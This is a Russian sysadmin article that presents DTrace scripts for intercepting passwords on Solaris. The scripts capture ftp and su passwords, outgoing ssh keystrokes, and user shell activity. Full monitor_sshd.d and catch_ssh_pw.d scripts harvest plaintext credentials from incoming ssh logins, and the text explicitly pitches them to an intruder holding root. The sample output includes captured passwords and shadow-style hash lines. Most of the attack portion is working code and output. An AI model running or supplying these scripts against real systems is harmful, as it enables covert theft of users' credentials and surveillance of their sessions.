новости
статьи
.sysadmin

DTrace: перехватываем пароли ssh и не только

DTrace – это всеобъемлющее трассировочное решение от Sun Microsystems, выпущенное под лицензией CDDL и включенное в Solaris 10 (и Mac OS X 10.5 "Leopard") для обнаружения проблем в системе и приложениях в реальном времени. Также идет работа над портированием системы под FreeBSD. Чтобы выполнить с помощью DTrace какую-нибудь задачу, нужно написать так называемую «трассировочную программу» (иногда встречается термин «трассировочный скрипт» или просто «скрипт»). Программы эти пишутся на языке D, который представляет собой подмножество языка си с добавленными функциями и переменными, необходимыми для нужд трассировки. По структуре такие программы отличаются от традиционных программ и представляют собой наборы некоторых действий, подобно, скажем, наборам правил файрволла. Если какой-то из тестов (probe) «срабатывает», выполняется действие, ассоциированное с этим тестом.

В этой статье речь пойдет о применении DTrace для исследования безопасности системы: поговорим о перехвате паролей и просто строковых данных приложений, проследим за тем, что делает тот или иной пользователь, и за тем, какие файлы и кто создает в любимой хакерами директории /tmp. Все знают, что с помощью сниффера можно перехватывать пароли, передаваемые открытым текстом - это телнет, почта и т.д. Посмотрим, что мы можем получить, используя вот такую небольшую программку Dtrace - testsnoop.d:

#!/usr/sbin/dtrace -s

/* Save syscall entry info */

syscall:::entry

/execname == $$1/

{
/* set start details */
self->start = timestamp;
self->arg0 = arg0;
self->arg1 = arg1;
self->arg2 = arg2;
}

/* Print data */

syscall::write:return,
syscall::pwrite:return,
syscall::*read*:return

/self->start/

{
printf("%s(0x%X, \"%S\", 0x%X)\t\t = %d\n",probefunc,self->arg0,
stringof(copyin(self->arg1,self->arg2)),self->arg2,(int)arg0);
self->arg0 = arg0;
self->arg1 = arg1;
self->arg2 = arg2;

}


Запустим ее, к примеру с параметром in.ftpd:

# dtrace -s testsnoop.d in.ftpd

Попробуем теперь зайти с другой консоли на сервер по ftp. Смотрим на вывод нашего скрипта. Оп-па, а вот и пароль:

...

17 15 write:return write(0x6, "pupkin\0", 0x174) = 372
17 15 write:return write(0x1, "230 User pupkin logged in.\r\n\0", 0x1C) = 28
17 13 read:return read(0x0, "SYST\r\uperpupkin\r\n\0", 0x2000) = 6
17 15 write:return write(0x1, "215 UNIX Type: L8 Version: SUNOS\r\n\0", 0x22) = 34

^C


Правда, в данном случае, у пароля недостает первой буквы s (пароль - superpupkin). Теперь попробуем с командой su:

# dtrace -s testsnoop.d su

В другом окне набираем su, затем пароль root, предположим для примера, root2007 (надеюсь у вас не такие простые пароли) и наблюдаем за выводом dtrace:

...

14 1599 write:return write(0x2, "Password: 12782::::::\nsimon:o3QK...
pupkin:0vKlw.P65sCNg:12822::::::\nivanov:37a12Xw6IiWgU:12856::::...
lena:Mm.rI4zqLGwyQ:12940::::::\npetya:meRzfd.yg/K4.:13010::::::\nrod...
doris:mPgprlAdOTDPs:13405", 0xA) = 10

1 1597 read:return read(0x4, "r\0", 0x1) = 1
1 1597 read:return read(0x4, "o\0", 0x1) = 1
1 1597 read:return read(0x4, "o\0", 0x1) = 1
1 1597 read:return read(0x4, "t\0", 0x1) = 1
1 1597 read:return read(0x4, "2\0", 0x1) = 1
1 1597 read:return read(0x4, "0\0", 0x1) = 1
1 1597 read:return read(0x4, "0\0", 0x1) = 1
1 1597 read:return read(0x4, "7\0", 0x1) = 1
1 1597 read:return read(0x4, "\n\0", 0x1) = 1
1 1599 write:return write(0x2, "\n\0", 0x1) = 1

^C


Вот и пароль root!

А как с перехватом паролей ssh, слабо? Brendan Gregg дает нам эту возможность с помощью скрипта sshkeysnoop.d

#!/usr/sbin/dtrace -s
/*
* sshkeysnoop.d - A program to print keystroke details from ssh.
* Written in DTrace (Solaris 10 build 63).
*

* USAGE: ./sshkeysnoop.d
*
*
* FIELDS:
* UID user ID
* PID process ID
* PPID parent process ID
* TYPE either key (keystroke) or cmd (command)
* TEXT text contained in the read/write
*
* Standard Disclaimer: This is freeware, use at your own risk.
*
* 14-Jan-2005 Brendan Gregg Created this.
*/

#pragma D option quiet

/*
* Print header
*/
dtrace:::BEGIN
{
/* print header */
printf("%5s %5s %5s %5s %s\n","UID","PID","PPID","TYPE","TEXT");
}

/*
* Print ssh execution
*/
syscall::exec:return, syscall::exece:return
/execname == "ssh"/
{
/* print output line */
printf("%5d %5d %5d %5s %s\n\n", curpsinfo->pr_euid, pid,
curpsinfo->pr_ppid, "cmd", stringof(curpsinfo->pr_psargs));
}

/*
* Determine which fd is /dev/tty
*/
syscall::open:entry, syscall::open64:entry
/execname == "ssh" && copyinstr(arg0) == "/dev/tty"/
{
/* track this syscall */
self->ok = 1;
}

syscall::open:return, syscall::open64:return
/self->ok/
{
/* save fd number */
self->fd = arg0;
}

/*
* Print ssh keystrokes
*/
syscall::read:entry
/execname == "ssh" && arg0 == self->fd/
{
/* remember buffer address */
self->buf = arg1;
}

syscall::read:return
/self->buf != NULL && arg0 < 2/
{
this->text = (char *)copyin(self->buf, arg0);

/* print output line */
printf("%5d %5d %5d %5s %s\n", curpsinfo->pr_euid, pid,
curpsinfo->pr_ppid, "key", stringof(this->text));
self->buf = NULL;
}


Запустите в одном окне скрипт, а в другом - соединение ssh c этой же машины на любой хост. Вывод dtrace:

# ./sshkeysnoop.d
UID PID PPID TYPE TEXT
100 9651 8600 cmd ssh -l pupkin myhost
100 9651 8600 key s
100 9651 8600 key u
100 9651 8600 key p
100 9651 8600 key e
100 9651 8600 key r
100 9651 8600 key p
100 9651 8600 key u
100 9651 8600 key p
100 9651 8600 key k
100 9651 8600 key i
100 9651 8600 key n
100 9651 8600 key
100 9651 8600 key -
...


Вот вам и ssh. Впрочем, надо заметить, это не какая-то дырка в ssh, скорее это преимущества пользователя root - пароли исходящих ssh-соединений можно получить и при помощи truss:

# ps -ef | grep ssh
root 23787 24089 0 10:34:17 ? 0:00 /usr/lib/ssh/sshd
pupkin 24567 21007 0 10:45:22 pts/3 0:00 ssh -l pupkin myhost
root 19678 1 0 10:34:16 ? 0:00 /usr/lib/ssh/sshd
root 23734 22115 0 10:12:38 pts/2 0:00 grep ssh
# truss -p 24567
read(4, 0x08046D6C, 1) (sleeping...)
read(4, " s", 1) = 1
read(4, " u", 1) = 1
read(4, " p", 1) = 1
read(4, " e", 1) = 1
read(4, " r", 1) = 1
read(4, " p", 1) = 1
read(4, " u", 1) = 1
...
read(4, "\n", 1) = 1
write(4, "\n", 1) = 1
ioctl(4, TCSETSF, 0x08046CF8) = 0


А как узнать, какие команды и какой вывод от них получает пользователь pupkin? Заходим на сервер в одной консоли:

myhost:~$ ssh server
Password:
Last login: Thu May 31 10:09:41 2007 from 192.168.1.16
Welcome to SunServer!
pupkin@server:~$ echo $$
4148
pupkin@server:~$ who am i


а в другой получаем вывод от скрипта shellsnoop, запущенного с параметром 4148 (скрипт входит в состав DTtraceToolkit):

# ./shellsnoop -p 4148

PID PPID CMD DIR TEXT

4148 4146 bash R w
4148 4146 bash W w
4148 4146 bash R h
4148 4146 bash W h
4148 4146 bash R o
4148 4146 bash W o
4148 4146 bash R
4148 4146 bash W
4148 4146 bash R a
4148 4146 bash W a
4148 4146 bash R m
4148 4146 bash W m
4148 4146 bash R
4148 4146 bash W
41484146 bash R i
41484146 bash W i
4148 4146 bash R
4148 4146 bash W
4148 4146 bash W
4148 4146 bash W pupkin@server:~$
5200 4148 who W pupkin pts/3 May 31 10:10 (192.168.1.16)


Так при помощи DTrace можно отследить всю деятельность любого пользователя в системе.

Предположим, мы хотим отслеживать, кто и какие файлы создает в директории /tmp (скрипт tmpsnoop.d):

#!/usr/sbin/dtrace -qs

dtrace:::BEGIN

{
printf("\tPID\tCMD\tFILE\n");
}

syscall::open:entry, syscall::open64:entry,syscall::creat:entry,
syscall::creat64:entry
{
self->traceme = 1;
self->path = copyinstr(arg0);
}

syscall::open:return, syscall::open64:return,syscall::creat:return,
syscall::creat64:return
{
self->traceme = 0;
self->path = "";
}

fbt:tmpfs:tmp_create:entry

/self->traceme == 1 && self->path != ""/

{
printf("\t%d\t%s\t%s\n", curpsinfo->pr_uid, execname, self->path);
}

Запускаем скрипт и в другой консоли создаем файл backdoor в /tmp:

# dtrace -s tmpsnoop.d

dtrace: script 'test.d' matched 10 probes

CPU ID FUNCTION:NAME

6 1 :BEGIN PID CMD FILE
20 22303 tmp_create:entry 100 touch /tmp/backdoor
0 22303 tmp_create:entry 0 cron /tmp/croutDDAxabyFa

^C


Как видите, DTrace может значительно облегчить жизнь администратора системы в которой необходимо отслеживать работу разных пользователей.
Пароли от входящих ssh-сессий тоже ловятся. Возможно, кому-то покажется нереальной возможность с помощью DTrace получить логины и пароли для входящих ssh-соединений. Мол, с исходящими-то ладно, DTrace просто перехватывает локальный ввод, но со входящими такого не получится, там все закодировано и ssh-программисты не зря свой хлеб едят. А вот системный администратор Manuel Burki из Цюриха так не считает и в который раз заставляет убедиться в неограниченных возможностях DTrace. Конечно, для всех примеров используются destructive actions, и простой пользователь не сможет ничего сделать. Но предположим что некто, получивший на какое-то время (пока взлом не обнаружен и пароль root не сменен), взяв на вооружение DTrace, может за чашечкой кофе просматривать появляющиеся на консоли по мере подключения удаленных пользователей сообщения типа:

...
Username: jugin Password: jugin2341
Username: buch Password: buch1982
...


В этом случае счастливцу нет необходимости запускать, к примеру, JohnTheRipper - пароли сами лезут в руки.

Замечу, что приведенные ниже скрипты сразу не заработали (пришлось поэксперементировать c предикатами в первом скрипте), и потом тоже иногда пропускали коннекты, но факт налицо - я получил пароли с входящих ssh (естественно, коннектились я сам и мой коллега - конституцию мы уважаем и нарушать не собираемся).
Cобственно, сам монитор:

#!/usr/sbin/dtrace -s

# monitor_sshd.d: DTrace script to catch sshd forks and call catch_ssh_pw.d

#pragma D option destructive
#pragma D option quiet

proc::cfork:create

/execname == "sshd"/

{
self->rpid++;
}

proc::cfork:create
/execname == "sshd" && self->rpid==3/
{
system("dtrace -s catch_ssh_pw.d -p %d", pid);
}


Вызываемый монитором скрипт, отлавливающий пароли:

#!/usr/sbin/dtrace -s

# catch_ssh_pw.d: DTrace script to catch ssh login credentials

#pragma D option destructive
#pragma D option quiet

pid$target::getpwnam_r:entry

{
self->namecount++;
}

pid$target::getpwnam_r:entry
/self->namecount == 1/
{
trace("Username: ");
trace(copyinstr(arg0));
}

pid$target::_unix_crypt:entry
{
trace(" Password: ");
trace(copyinstr(arg0));
exit(0);
}




sunhelp.ru
обсудить статью
© сетевые решения
.
.